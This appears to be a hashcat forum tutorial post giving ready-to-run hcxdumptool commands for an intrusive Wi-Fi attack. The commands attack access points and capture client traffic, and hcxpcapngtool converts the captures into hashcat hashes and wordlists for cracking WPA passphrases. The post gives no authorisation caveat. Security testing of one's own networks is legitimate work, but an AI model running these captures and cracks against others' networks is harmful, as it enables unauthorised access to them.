Learning hashcat

[ZerBea]

I recommend to attack in 2 phases:

1. aggressive attack vector to get as much as possible unfiltered hash data from ACCESS POINTs in 10 minutes (extreme intrusive):

Code:

$ sudo hcxdumptool -i WLANDEV -o vector1.pcapng --stop_ap_attacks=6000 --resume_ap_attacks=12000 --bpfc=own.bpfc --active_beacon --tot=10 --enable_status=1

2. get as much as possible information from CLIENTs over a period of a day:

Code:

$ sudo hcxdumptool -i WLANDEV -o vector2.pcapng --tot=1440 --bpfc=own.bpfc --disable_deauthentication --disable_ap_attacks --active_beacon -c 1,9,6,3,11, -t 3600 --enable_status=1

On both modes, I recommend to protect own devices by a BPF on both attack vectors.

Do not merge the pcapng files.
Use hcxpcapngtool to convert all hashes to a single hash list (22000 format) and all other information to wordlists hashcat can work on (pure or in combination with masks and/or rules):

Code:

$ hcxpcapngtool -o test.22000 -E list1 -I list2 -U list3 *.pcapng

To determine that PSKs based on BSSID or ESSID are in use, feed hashcat with output of hcxpsktool and/or output of hcxeiutool (option -d -x -c -s).
You can expand wordlists converted by hcxpcapngtool, and feed hashcat + rule with output of hcxeiutool (option -s).

To select single NETWORKS, use hcxhashtool to get information about the content of the whole hash file.
It is also possible to use simple bash tools to get some if this information and to filter the hash list, because has format 22000 is not longer binary (like hccapx).